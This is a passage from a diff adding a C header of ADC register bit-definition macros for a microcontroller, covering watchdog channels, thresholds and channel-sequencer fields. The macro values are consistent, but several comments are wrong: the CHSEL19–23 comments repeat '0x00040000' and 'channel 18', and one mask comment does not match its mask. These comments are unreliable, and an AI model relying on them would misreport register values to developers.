0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ 